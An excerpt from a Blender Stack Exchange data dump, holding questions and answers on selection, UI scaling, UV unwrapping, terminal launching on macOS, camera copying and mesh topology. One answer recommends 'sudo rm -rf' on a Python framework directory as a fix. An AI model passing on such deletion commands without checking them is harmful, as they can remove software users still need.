  <row Id="34863" PostTypeId="1" CreationDate="2015-07-31T11:09:25.543" Score="1" ViewCount="4347" Body="&lt;p&gt;How do I select a whole circle at once in blender without selecting other objects that are touching it?&#xA;I have tried every key on my keyboard and I'm just wrecking the model. I can't find the answer anywhere.&lt;/p&gt;&#xA;" OwnerUserId="15666" LastEditorUserId="3401" LastEditDate="2015-12-22T18:35:43.063" LastActivityDate="2019-06-13T15:34:08.673" Title="How do I select circles?" Tags="&lt;selection-tools&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34865" PostTypeId="1" AcceptedAnswerId="34867" CreationDate="2015-07-31T11:23:24.910" Score="3" ViewCount="8231" Body="&lt;p&gt;I've downloaded a .blend file recently and all of the interface elements look very small. I remember that there were an easy trick to make everything bigger (or smaller) when I was using Blender 2.49 long time ago. My question is how to do it increase or decrease the size of the buttons within the panels using User Preferences and without using it?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ok3cL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ok3cL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-07-31T16:22:30.780" LastActivityDate="2018-03-30T10:43:36.460" Title="How to increase/decrease the size of the buttons inside the panels?" Tags="&lt;interface&gt;" AnswerCount="3" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34867" PostTypeId="2" ParentId="34865" CreationDate="2015-07-31T11:57:31.410" Score="9" Body="&lt;p&gt;Go to the panel you want to change then &lt;kbd&gt;CTRL&lt;/kbd&gt; and push the &lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt;. If you move your mouse up, the keys get bigger if you move down the keys get smaller.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.653" LastActivityDate="2015-07-31T14:01:09.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34869" PostTypeId="2" ParentId="34582" CreationDate="2015-07-31T13:01:43.697" Score="7" Body="&lt;p&gt;The only solution and a major workaround that would work is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a frame change handler that grabs &lt;code&gt;bpy.data.textures&lt;/code&gt; and for each texture determines the min and max value in it (by iterating over all pixels). This would be slow. The data should be outputted to some scene custom prop array for example.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Drive a math cycles nodes with those custom prop array items. Everytime you switch texture you would need to re-target to appropriate array item (index). With this the rest of shader is simple.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;With only nodes it's impossible because they operate per-sample. You would have to use as many nodes as are pixels in the texture and compare them (you can sample any pixel from texture with mapping vectors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be possible if the min/max values could be encoded into the image (for example as grey values in 2 exact corners). The shader then would crop the texture by some extend and wouldn't use the border of the image with encoded data.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;With OSL it's definitely doable but the texture would have to be part of that shader, it wouldn't work with RGB input socket (reason as above). Instead a path to the texture could be an input for such shader.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-07-31T13:01:43.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34870" PostTypeId="2" ParentId="34865" CreationDate="2015-07-31T13:43:40.400" Score="4" Body="&lt;p&gt;In order to restore the panel size to the &lt;em&gt;default setting&lt;/em&gt; move the mouse cursor over the panel and press &lt;kbd&gt;Home&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7474" LastEditorUserId="3710" LastEditDate="2015-07-31T14:07:34.070" LastActivityDate="2015-07-31T14:07:34.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34871" PostTypeId="1" AcceptedAnswerId="34877" CreationDate="2015-07-31T13:43:54.157" Score="1" ViewCount="481" Body="&lt;p&gt;I am using Blender version 2.74 and I am using an OpenSCAD file someone else made. I am new to Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OpenSCAD file comes from this website:&#xA;&lt;a href=&quot;http://kitwallace.co.uk/3d/solid-to-scad.xq?id=Tetrahedron&amp;amp;scad=shell&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://kitwallace.co.uk/3d/solid-to-scad.xq?id=Tetrahedron&amp;amp;scad=shell&lt;/a&gt;&#xA;I picked &quot;engrave&quot; for the OpenSCAD option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create UV coordinates for the shape after I import the OpenSCAD file in Blender, so that I can dynamically display a unique image on each face of the tetrahedron as an exported or &quot;finished&quot; JSON file using JavaScript. Whether I export into whatever format using some type of technology such as JavaScript - I don't know if that part is relevant. But the question I have is how to compute/make the UV coordinates for this shape in Blender to make this eventually happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the JSON file, the blend file couldn't be shown in text format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;name&quot;: &quot;Tetrahedron.001Geometry&quot;,&#xA;    &quot;uvs&quot;: [],&#xA;    &quot;faces&quot;: [32,0,1,2,0,1,2,32,3,2,1,3,2,1,32,3,0,2,3,0,2,32,3,1,0,3,1,0],&#xA;    &quot;vertices&quot;: [-2.42416,0,4.19877,-2.42416,-0,-4.19877,4.84832,0,-0,-0,6.85655,-0],&#xA;    &quot;metadata&quot;: {&#xA;        &quot;type&quot;: &quot;Geometry&quot;,&#xA;        &quot;version&quot;: 3,&#xA;        &quot;vertices&quot;: 4,&#xA;        &quot;generator&quot;: &quot;io_three&quot;,&#xA;        &quot;faces&quot;: 4,&#xA;        &quot;uvs&quot;: 0,&#xA;        &quot;normals&quot;: 4&#xA;    },&#xA;    &quot;normals&quot;: [-0.471389,-0.333323,0.816492,-0.471389,-0.333323,-0.816492,0.942808,-0.333323,0,0,1,0]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=390&quot; /&gt; &lt;/p&gt;&#xA;" OwnerUserId="16053" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-07-31T16:42:56.247" Title="How to create/make UV coordinates for polyhedron" Tags="&lt;uv&gt;&lt;import&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34872" PostTypeId="2" ParentId="34863" CreationDate="2015-07-31T14:03:30.277" Score="4" Body="&lt;p&gt;In edit mode Hold down &lt;kbd&gt;alt&lt;/kbd&gt; and right click on the circle.&lt;/p&gt;&#xA;" OwnerUserId="16040" LastEditorUserId="5113" LastEditDate="2015-07-31T14:21:57.940" LastActivityDate="2015-07-31T14:21:57.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34875" PostTypeId="1" CreationDate="2015-07-31T14:22:53.457" Score="1" ViewCount="317" Body="&lt;p&gt;To open multiple instances of Blender on a Mac, I'm opening blender.app (2.75a and 2.75) through the console. That makes Blender's interface load with most of the text gone:&#xA; &lt;a href=&quot;https://i.stack.imgur.com/rnmkq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rnmkq.png&quot; alt=&quot;loadBug&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vs. the normal way of opening Blender with Finder:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aTF52.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aTF52.png&quot; alt=&quot;Normal startup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;open -n .../blender.app&#xA;open -n .../blender.app/contents/MacOS/blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried only &lt;code&gt;./&lt;/code&gt; and tried to open the app manually inside the package contents, all with the same result. I also tried with 2.74, and the same happens. Oddly enough I am looking at a tutorial in which the guy has 2 instances opened on a Mac without much problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what's going on? If I have to make 2 instances of blender.app, it's ok, but how can I get the console window method to work?&lt;/p&gt;&#xA;" OwnerUserId="16054" LastEditorUserId="1253" LastEditDate="2015-08-28T19:25:06.403" LastActivityDate="2015-08-28T19:25:06.403" Title="Blender won't load UI text when opened from the console on a Mac" Tags="&lt;command-line&gt;&lt;osx&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34876" PostTypeId="2" ParentId="34875" CreationDate="2015-07-31T14:30:27.813" Score="0" Body="&lt;p&gt;I just downloaded Blender 2.75a on my mac with OSX 10.10.3 (Yosemite). Placed on my desktop, I open the terminal and executed this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Users/[myusername]/Desktop/Blender/blender.app/Contents/MacOS/blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Blender loaded properly with all menus intact. No &quot;open&quot; command is required. I can do multiple instances this way.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-31T14:30:27.813" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34877" PostTypeId="2" ParentId="34871" CreationDate="2015-07-31T14:58:34.227" Score="1" Body="&lt;p&gt;You can unwrap the tetrahedron in one of 2 ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can create seams (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; &gt; Mark Seams) running along the 3 edges from the base to the tip. Then select all vertices and press &lt;kbd&gt;U&lt;/kbd&gt; &gt; UV Unwrap.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wb5zA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wb5zA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ghWVi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ghWVi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;You can create seams on all edges  (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; &gt;Mark Seams) , and overlay each uv island on top of itself. Then select all vertices and press &lt;kbd&gt;U&lt;/kbd&gt; &gt; UV Unwrap.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ylqGk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ylqGk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/70eDU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/70eDU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Please note the tetrahedron shape in my example is an approximate shape only in order to demonstrate the unwrap technique.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-31T16:42:56.247" LastActivityDate="2015-07-31T16:42:56.247" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="34880" PostTypeId="1" AcceptedAnswerId="34881" CreationDate="2015-07-31T15:26:17.263" Score="2" ViewCount="969" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lyqbD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lyqbD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deleted vertices, edges and faces on the red faces. But the lines remain on the object. &lt;br/&gt;&#xA;I can not even select the lines.(including vertex, edge, face)&#xA;&lt;br/&gt;&#xA;how can I remove the lines? &lt;/p&gt;&#xA;" OwnerUserId="14645" LastEditorUserId="14645" LastEditDate="2015-07-31T21:54:06.243" LastActivityDate="2020-08-01T14:21:47.960" Title="how to remove deleted faces's line?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34881" PostTypeId="2" ParentId="34880" CreationDate="2015-07-31T15:33:29.643" Score="2" Body="&lt;p&gt;It most propably became another object, try exiting from the edit mode and selecting those lines&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-07-31T15:33:29.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34882" PostTypeId="1" CreationDate="2015-07-31T16:01:30.327" Score="0" ViewCount="282" Body="&lt;p&gt;When I add a new item (sphere, cube etc) the lower left hand editing box is no longer activated....it is clouded over and unresponsive. For example: I add a UV Sphere but can no longer change the segments, rings, size etc. It was working in the past which makes me wonder if I have inadvertently turned it off....I have closed and reopened Blender but cannot rectify this issue. &lt;/p&gt;&#xA;" OwnerUserId="16056" LastActivityDate="2015-07-31T16:08:45.800" Title="How do I activate the editing box at bottom of &quot;Tools&quot; section?" Tags="&lt;interface&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-07-31T16:55:45.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="34883" PostTypeId="2" ParentId="34875" CreationDate="2015-07-31T16:04:16.890" Score="1" Body="&lt;p&gt;I had two versions of python installed; I solved this by uninstalling the 2.7 version by typing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo rm -rf /Library/Frameworks/Python.framework/Versions/2.7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo rm -rf &quot;/Applications/Python 2.7&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That leaves me with 3.4, and everything works fine.&lt;/p&gt;&#xA;" OwnerUserId="16054" LastEditorUserId="1253" LastEditDate="2015-08-27T21:51:30.277" LastActivityDate="2015-08-27T21:51:30.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34884" PostTypeId="2" ParentId="34882" CreationDate="2015-07-31T16:05:00.217" Score="0" Body="&lt;p&gt;in 3D view, use &lt;kbd&gt;T&lt;/kbd&gt; to make the toolshlef appear/disapear.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Qvd25.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qvd25.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;You can also use &lt;kbd&gt;F6&lt;/kbd&gt; to get the specific toolbox for new objects&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/H7hNB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H7hNB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-07-31T16:05:00.217" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34886" PostTypeId="1" CreationDate="2015-07-31T16:20:45.283" Score="2" ViewCount="1091" Body="&lt;p&gt;Ok so I have created a character and rigged it and when I hit the play button for the animation it plays just fine.&lt;br&gt;&#xA;I have set up the logic bricks multiple time yet whenever I hit &lt;kbd&gt;P&lt;/kbd&gt; to play the animation never plays.  I cant seem to find my mistake if anyone could help me it would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: here's the link  &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/392/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=392&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16057" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2017-08-20T03:13:30.223" Title="How to make an animation play in the blender game engine?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34887" PostTypeId="1" CreationDate="2015-07-31T16:29:00.703" Score="2" ViewCount="20" Body="&lt;p&gt;I'm looking to write a script for fun and testing. I want to subdivide a mesh but only the vertex color info. In short, I want blender to create more room for uvless painting with out carrying twice the location and rotation info&lt;/p&gt;&#xA;" OwnerUserId="16059" LastActivityDate="2015-07-31T16:29:00.703" Title="is it possible to declare what info is duplicated during subdivision?" Tags="&lt;texturing&gt;&lt;vertex-colors&gt;&lt;vertex-paint&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34888" PostTypeId="1" AcceptedAnswerId="34890" CreationDate="2015-07-31T16:35:48.827" Score="1" ViewCount="119" Body="&lt;p&gt;I've downloaded a .blend file recently and all of the interface elements look very small. Is there a way to quickly resize the buttons within the panels according to my personal settings?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MqlJG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MqlJG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-07-31T16:37:47.087" Title="How to restore custom layout/panels when loading a blend file with different settings?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-31T16:55:56.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="34889" PostTypeId="2" ParentId="34865" CreationDate="2015-07-31T16:36:41.483" Score="4" Body="&lt;p&gt;pressing &lt;strong&gt;&lt;kbd&gt;Numpad +&lt;/kbd&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;kbd&gt;Numpad -&lt;/kbd&gt;&lt;/strong&gt; you can zoom in or out on any window (or control) in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resize the panel drag it with the left mouse button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5yNfC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, if this is happening on a file you didn't create, you can preserve your own default layout, uncheck the LoadUI box when loading the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5m27W.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-31T17:12:09.120" LastActivityDate="2015-07-31T17:12:09.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34890" PostTypeId="2" ParentId="34888" CreationDate="2015-07-31T16:37:47.087" Score="2" Body="&lt;p&gt;If this is happening on a file you didn't create, and want to preserve your own default layout, uncheck the LoadUI box when loading the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5m27W.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-31T16:37:47.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34891" PostTypeId="1" AcceptedAnswerId="34892" CreationDate="2015-07-31T17:41:15.330" Score="5" ViewCount="2358" Body="&lt;p&gt;I want to copy a camera from one scene to another, keeping the perspective. In the scene I copy it from the camera is animated to follow a path, in the second scene it should stay still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I copy (not link) the camera, so that in the scene I copy it to, it does not follow the path in the second scene?&lt;/p&gt;&#xA;" OwnerUserId="16061" LastActivityDate="2015-07-31T18:21:11.197" Title="Copy camera position/rotation to another scene" Tags="&lt;camera&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34892" PostTypeId="2" ParentId="34891" CreationDate="2015-07-31T18:21:11.197" Score="5" Body="&lt;p&gt;There are a couple ways you could do this:&lt;/p&gt;&#xA;&lt;h1&gt;Copy/Paste&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy the camera (&lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;) in the first scene&lt;/li&gt;&#xA;&lt;li&gt;Paste it in the new scene (&lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Assuming you are using a &lt;em&gt;Follow Path&lt;/em&gt; constraint, &lt;em&gt;Apply Visual Transform&lt;/em&gt; (&lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;) with the pasted camera active.&lt;/li&gt;&#xA;&lt;li&gt;Delete the &lt;em&gt;Follow Path&lt;/em&gt; constraint.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Link/Unlink&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Link the camera to the second scene (&lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&amp;gt; Objects to scene&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Switch to the second scene and unlink the camera (&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;gt; Object &amp;amp;&#xA;Data&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Apply Visual Transform&lt;/em&gt; and delete the &lt;em&gt;Follow Path&lt;/em&gt; constraint.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-31T18:21:11.197" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34893" PostTypeId="1" AcceptedAnswerId="34911" CreationDate="2015-07-31T19:26:27.927" Score="2" ViewCount="2963" Body="&lt;p&gt;I am new to 3d-modeling, so please bear that in mind and if you find some fundamental flaw in my explanation below, do not hesitate to tell me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh I want is a cuboid with a lot more faces on one of its sides compared to the others. I inserted a cube, scaled it and applied  transformations, subdivided it once and added a few edge loops to help subdivision. The resulting mesh then looked like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ejmqh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ejmqh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Up until this point everything worked as I expected)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get more polys on one of the sides I selected its four inner faces and subdivided them, the result was that adjacent faces &quot;degenerated&quot; into n-gons, which I want to avoid (because the target application does not like them). This is the resulting mesh, where I selected the resulting ngons using select-&gt;facesBySide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/64bdG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/64bdG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This of course makes sense, because these adjascent faces now have more than 4 vertices, but I am not really sure how to proceed from here. I currently see only two solutions to this problem:&#xA;1) Either subdivide the whole mesh evenly (which is actually not a solution at all, because the resulting mesh will have the same poly-density on all sides)&#xA;2) Connect all the new vertices of the adjascent faces (the ngons) to a &quot;corner vertex&quot; by creating new edges for each, which results in a set of many ugly stretched out triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both solutions seem undesirable to me. So how would a more experienced poly-modeler approach this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. I realize that this is a beginner's questions which probably has been answered a million times. Unfortunately I did not find anything, but if you know a post or a tutorial explaining these things, it would be great if you could post the link. &lt;/p&gt;&#xA;" OwnerUserId="16063" LastEditorUserId="47" LastEditDate="2015-08-01T06:12:25.783" LastActivityDate="2018-07-28T17:28:37.377" Title="Beginner question: Increasing poly density for a single side of a cube" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;topology&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34894" PostTypeId="1" CreationDate="2015-07-31T19:33:12.023" Score="1" ViewCount="364" Body="&lt;p&gt;I have a procedural texture that uses the UV coordinates in some math.  In order to get access to the X and Y coordinates, I use a Split RGBA node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that Split RGBA node is outside of a group, the values that come out of it appear to range from 0 to 1.  If I group that Split RGBA node then the coordinate values seem to range from -1 to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/391/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=391&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the attached .blend file and ungroup (&lt;kbd&gt;Alt-g&lt;/kbd&gt;) the NodeGroup.007 you will see the pattern of circles change from a red quarter-circle and green centered circle into a yellow quarter circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make these nodes work properly whether grouped or ungrouped?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aXsjx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aXsjx.png&quot; alt=&quot;texture nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-01T00:33:27.500" Title="grouping texture nodes changes the coordinate space" Tags="&lt;texturing&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34895" PostTypeId="2" ParentId="34799" CreationDate="2015-07-31T19:44:42.070" Score="1" Body="&lt;p&gt;I've found an interesting workarround - If you save a very low rez. image with part color and part transparency you can adjust the transparency by moving the texture - &#xA;&lt;a href=&quot;https://i.stack.imgur.com/KDnYJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KDnYJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DJg29.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DJg29.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe will work for some cases because there is a transition between the color and the alpha which means there is no even distribution of color and transparency over the plane.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2015-07-31T20:47:25.213" LastActivityDate="2015-07-31T20:47:25.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34896" PostTypeId="1" CreationDate="2015-07-31T20:31:23.700" Score="1" ViewCount="295" Body="&lt;p&gt;Is it possible to detect a change in a panel (as a compartment which we mark or a slider which we move) to launch a update function but only if the change is in a panel as T, N, Property panel ect... ?&lt;/p&gt;&#xA;" OwnerUserId="11582" LastActivityDate="2015-08-02T17:10:04.883" Title="How detect change in a panel" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
